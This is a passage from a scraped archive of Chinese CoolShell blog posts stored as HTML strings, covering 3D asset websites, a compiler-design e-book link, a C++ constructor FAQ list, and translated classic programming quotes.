fib(x-1)+fib(x-2);\n                }\n                \"\"\")\n\n# ...and then just use them...\n# (there _is_ a difference in the performance)\nprint fibpy(30)\nprint fibc(30)\n</pre>\n<p>源代码这里下载：<a href=\"https://coolshell.cn/wp-admin/cinpy-0.10.tar.gz\">cinpy-0.10.tar.gz</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/786.html\">用TCC可以干些什么？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-11 5个不错的3D素材网站.html",
    "content": "<html><body><p>你也许并不是一个创建3D图形的好手，你也许只能创建一些原始的东西，如：停止或灯炮标志等等这些小孩子玩的东西。而我们现实世界则需要更复杂更牛的东西，比如说一个人物，一个机车等等。这里有史上最好的5个网站，你可以通过这些网站找到你想要的模型，这些3D的模型或资源对你开发游戏一定会有很大的帮助。</p>\n<h3><a href=\"http://www.3drt.com/\">3DRT</a></h3>\n<p>这是一个迄今为止最好的站点。不仅仅因为这个站点有很多非常专业的模型，而且这个站点在收费方面还不是太坏——经常会有一些折扣。几乎，所有的模型都是动两国的，而且他们还是有皮肤的。他们有各式各样样的格式，并且提供PSD文件，这样方便你创建自己的皮肤。</p>\n<p><span id=\"more-796\"></span></p>\n<h3><a href=\"http://www.garagegames.com/products/browse/artpacks\">Garage Games</a></h3>\n<p>在 Garage Games，一些艺术包也有非常“漂亮”的价格，有一些相当不错，但也有一些普普通通。这些东西完全取决于艺术家们怎么去创作他们的。这个站点并不提供很多的格式。另外，在 Garage Games上，你还能找到很多不错的声音素材。</p>\n<h3><a href=\"http://www.fpscreator.com/\">FPS Creator</a></h3>\n<p>这个站点有很多相当不错的模型和声音。所有的素材都是动画的和有皮肤的。所有的都是基于FPS creator格式的和可以被转换成其它格式的 .X 格式。有一个很不错的是，这些FPS 模型（手臂和火枪）包括了很多的乱七八糟的生物和敌人，这些东西几乎可以用来直接用于游戏了。</p>\n<h3><a href=\"http://www.realmcrafter.com/store/home.php?cat=250\">Realm Crafter Packs</a></h3>\n<p>这里的模式是中等质量的。他们并不是最好的，不过他们的价格可能是比较低的。几乎所有的模型都是有动画的并有一些不同的格式。有一些模式只是静态的而没有动画。</p>\n<h3><a href=\"http://www.tridinaut.com/products.htm\">Tridinaut</a></h3>\n<p>如果你想一些中世纪的武器，那么这个站点会给你提供很多这类的玩意。质量非常好，而且所有的模型现在还在免费。如果你给上 $50-$100 美金，他们会给你制作你想要的东西，这些人的确非常不错。</p>\n<p>希望你觉得这5个站点对你的游戏编程的工作很有用。</p>\n<p>文章：<a href=\"http://www.omahagamedev.com/?p=12\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3267.html\"><img alt=\"游戏Flash vs HTML5\" height=\"150\" src=\"../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2998.html\"><img alt=\"HTML5 小游戏展示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2998.html\">HTML5 小游戏展示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/796.html\">5个不错的3D素材网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-11 电子书：编译器设计基础.html",
    "content": "<html><body><p>这是一本关于编译器设计原理的书，让我又想起了大学时的《编译原理》还有那长篇长篇的作业，以及几个方法分析器的上机实习。现在基本上都全部还给老师了。</p>\n<p>Basics of Compiler Design<br/>\n<a href=\"http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/\">http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/</a></p>\n<p><a href=\"http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/basics_lulu.pdf\"><strong>PDF下载</strong></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8115.html\"><img alt=\"GCC 用 C++ 来编译\" height=\"150\" src=\"../wp-content/uploads/2012/08/VEC-vs-vector-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8115.html\">GCC 用 C++ 来编译</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/799.html\">电子书：编译器设计基础</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-13 关于C++构造函数的FAQ.html",
    "content": "<html><body><p>下面是一些关于C++构造函数的FAQ。你能回答得出来吗？你可以点链接查看答案，不过是英文版的。他们来自于<a href=\"http://www.parashift.com/c++-faq-lite/index.html\" title=\"C++ FAQ Lite\"><em>C++ FAQ Lite</em></a>。当然，也有中文版的，只可惜中文版的太老了，只更新到了2001年。在<a href=\"http://www.parashift.com/c++-faq-lite/index.html\" title=\"C++ FAQ Lite\"><em>C++ FAQ Lite</em></a>上还有很多关于其它部分的FAQ，大家可以去看看。</p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.1\" title=\"[1] What's the deal with constructors?\">[1] 构造函数是用来干什么的？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.2\" title=\"[2] Is there any difference between List x; and List x();?\">[2] <tt>List x;</tt> 和 <tt>List x();有什么不同</tt>?</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.3\" title=\"[3] Can one constructor of a class call another constructor of the same class to initialize the this object?\">[3] 是否一个类的构造函数可以调用另一个构造函数来初始化自己？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.4\" title=\"[4] Is the default constructor for Fred always Fred::Fred()?\">[4] 是否Fred类的默认的函数函数就一定是<tt>Fred::Fred()？</tt></a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.5\" title=\"[5] Which constructor gets called when I create an array of Fred objects?\">[5] 如果要创建一个<tt>Fred</tt> 对像数组，什么样的构数函数会被调用?</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.6\" title='[6] Should my constructors use \"initialization lists\" or \"assignment\"?'>[6] 构造函数初始化成员变量时，用 “初始化列表” 还是 “赋值”？</a></p>\n<p><span id=\"more-804\"></span></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.7\" title=\"[7] Should you use the this pointer in the constructor?\">[7] 在构造函数中用<tt>this</tt> 指针是否有问题？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.8\" title='[8] What is the \"Named Constructor Idiom\"?'>[8]什么是“名字构造函数”（Named Constructor Idiom）？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.9\" title=\"[9] Does return-by-value mean extra copies and extra overhead?\">[9] “值返回”意味着额外的拷贝吗？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.10\" title=\"[10] Why can't I initialize my static member data in my constructor's initialization list?\">[10] 为什么我们不能在构造函数初始化列表中初始化一个 <tt>static</tt> 成员变量？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.11\" title=\"[11] Why are classes with static data members getting linker errors?\">[11] 为什么一个有 <tt>static</tt> 成员变量的类会有链接错误？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.12\" title=\"[12] What's the &quot;static initialization order fiasco&quot;?\">[12] 什么是“<tt>static</tt> initialization order fiasco”？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.13\" title='[13] How do I prevent the \"static initialization order fiasco\"?'>[13] 我该如果避免 “<tt>static</tt> initialization order fiasco”?</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.14\" title=\"[14] Why doesn't the construct-on-first-use idiom use a static object instead of a static pointer?\">[14] 为什么 construct-on-first-use 什么静态变量而不是指针？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.15\" title='[15] How do I prevent the \"static initialization order fiasco\" for my static data members?'>[15] 怎么才能避免静态成员中的“<tt>static</tt> initialization order fiasco” ？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.16\" title='[16] Do I need to worry about the \"static initialization order fiasco\" for variables of built-in/intrinsic types?'>[16] 我是否要为内建类型的“<tt>static</tt> initialization order fiasco”而担心？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.17\" title=\"[17] How can I handle a constructor that fails?\">[17] 如果构造函数出错了怎么办？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.18\" title='[18] What is the \"Named Parameter Idiom\"?'>[18] 什么是“命名参数惯用法”（Named Parameter Idiom）？</a></p>\n<p><a href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.19\" title=\"[19] Why am I getting an error after declaring a Foo object via Foo x(Bar())?\">[19] 为什么我通过<tt>Foo x(Bar())</tt>声明一个<tt>Foo</tt> 对象会得到一个错误？</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/804.html\">关于C++构造函数的FAQ</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-15 22条经典的编程引言.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">下面的这些经典的引言来自英文，也许有些我翻译的是不很好，所以，我提供了中英对照，如果有问题，请大家指正。</p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">过早的优化是万恶之源。Premature optimization is the root of all evil!<br/>\n<em>– Donald Knuth</em></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">在水里行走和以一个需求规格进行软件开发，有一点是相同的，那就是如果水或需求都被冻住不了，那么行走和软件开发都会变得容易。Walking on water and developing software from a specification are easy if both are frozen<br/>\n<em>– Edward V Berard</em></p>\n<p style=\"text-align: left;\"><em></em></p>\n<p style=\"text-align: left;\"><em></em></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">Hofstadter 定理：“一件事情总是会花费比你预期更多的时间，就算是你已经考虑过本条<em>Hofstadter </em>定理”。It always takes longer than you expect, even when you take into account Hofstadter’s Law.<br/>\n<em>– Hofstadter’s Law</em></p>\n<p><span id=\"more-808\"></span></p>\n<p> </p>\n<p>有些遇到问题的人总是会说“我知道，我会使用正则表达式”，那么，你现在有两个问题了。（意思是：你本想用正则表达式来解决你已有问题，但实际上你又引入了“正则表达式”的一个新问题）Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems<br/>\n<em>– Jamie Zawinski</em></p>\n<p><em></em></p>\n<p> </p>\n<p>调试程序的难度是写代码的两倍。因此，只要你的代码写的尽可能的清楚，那么你在调试代码时就不需要那么地有技巧。Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.<br/>\n<em>– Brian Kernighan</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>用代码行来衡量开发进度，无异于用重量来衡量制造飞机的进度。Measuring programming progress by lines of code is like measuring aircraft building progress by weight.<br/>\n<em>– Bill Gates</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>PHP被一些不合格的业余人员造就成了一个小恶魔；而Perl则是被一些熟练的但不正当的专业人员造就成了一个超级大恶魔。PHP is a minor evil perpetrated and created by incompetent amateurs, whereas Perl is a great and insidious evil, perpetrated by skilled but perverted professionals.<br/>\n<em>– Jon Ribbens</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>在两个场合我被问到：“请你告诉我，如果你给机器输入了错误的数字，那么，是否还能得到正确的答案？”我并不能正确领会这类想法。（注意，本引言的作者姓Babbage，这个名字和神父同名，意思是，作者在反问提问的人，你是问我还是向神父祈祷？）On two occasions I have been asked, ‘Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?’ I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.”<br/>\n<em>– Charles Babbage</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>在编程的时候，我们一定要想像一下，以后维护我们自己的代码的那个人会成为一个有暴力倾向的疯子，并且，他还知道我们住在哪里？Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live.<br/>\n<em>– Rick Osborne</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>现代的编程是“程序员努力建一个更大更傻的程序”和“世界正在尝试创造更多更傻的人”之间的一种竞赛，目前为止，后者是赢家。Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.<br/>\n<em>– Rich Cook</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>我才不关于我的代码是否能在你的机器上工作！我们不会给你提供机器。I don’t care if it works on your machine! We are not shipping your machine!<br/>\n<em>– Ovidiu Platon</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>我总是希望我的电脑能够像电话一样容易使用；我的这个希望正在变成现实，因为我现在已经不知道怎么去使用我的电话了。I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone.<br/>\n<em>– Bjarne Stroustrup</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>计算机是一种在人类历史上所有发明中，可以让你比以前更快地犯更多的错误的发明，同样，其也包括了“手枪”和“龙舌兰酒”这两种发明的缺陷。A computer lets you make more mistakes faster than any other invention in human history, with the possible exceptions of handguns and tequila.<br/>\n<em>– Mitch Ratcliffe</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>如果调试程序是一种标准的可以铲除BUG的流程，那么，编程就是把他们放进来的流程。If debugging is the process of removing software bugs, then programming must be the process of putting them in.<br/>\n<em>– E. W. Dijkstra</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>教一群被BASIC先入为主的学生，什么是好的编程风格简直是一件不可能的事。对于一些有潜力的程序员，他们所受到的智力上的伤害远远超过了重建他们的信心。It is practically impossible to teach good programming style to students that have had prior exposure to BASIC. As potential programmers, they are mentally mutilated beyond hope of regeneration.<br/>\n<em>– E. W. Dijkstra</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>理论上来说，理论和实际是一样的。但实际上来说，他们则不是。In theory, theory and practice are the same. In practice, they’re not.<br/>\n<em>– Unknown</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>只有两个事情是无穷尽的：宇宙和人类的愚蠢。当然，我现在还不能确定宇宙是无穷尽的。Two things are infinite: the universe and human stupidity; and I’m not sure about the universe.<br/>\n<em>– Albert Einstein</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>Perl这种语言就好像是被RSA加密算法加密过的一样。Perl – The only language that looks the same before and after RSA encryption.<br/>\n<em>– Keith Bostic</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>我爱“最终期限”，我喜欢“嗖嗖嗖”的声音就像他们在飞一样。I love deadlines. I like the whooshing sound they make as they fly by.<br/>\n<em>– Douglas Adams</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>说Java好的是因为它跨平台就像好像说肛交好是因为其可以适用于一切性别。Saying that Java is good because it works on all platforms is like saying anal sex is good because it works on all genders<br/>\n<em>– Unknown</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>XML就像是一种强暴——如果它不能解决你的问题，那只能说明你没有用好它。XML is like violence – if it doesn’t solve your problems, you are not using enough of it.<br/>\n<em>– Unknown</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>爱因期坦说，自然界中的一切一定会有一个简单的解释，因为上帝并不是反复无常和独裁的。当然，不会有什么信仰能程序员像爱因期坦那样感到舒服。Einstein argued that there must be simplified explanations of nature, because God is not capricious or arbitrary. No such faith comforts the software engineer.<br/>\n<em>– Fred Brooks</em></p>\n<p style=\"text-align: left;\">文章：<a href=\"http://www.storm-consultancy.com/blog/other/classic-programming-quotes/\" target=\"_blank\">来源</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/27.html\"><img alt=\"如何自己写一个网络爬虫\" height=\"150\" src=\"../wp-content/uploads/2009/03/500px-WebCrawlerArchitecture.svg_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/27.html\">如何自己写一个网络爬虫</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2365.html\"><img alt=\"两个C++的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/240.html\"><img alt=\"非常不错的编程技术教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/240.html\">非常不错的编程技术教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1654.html\"><img alt=\"Richard Feynman, 挑战者号, 软件工程\" height=\"150\" src=\"../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1086.html\"><img alt=\"22个开源的PHP框架\" height=\"150\" 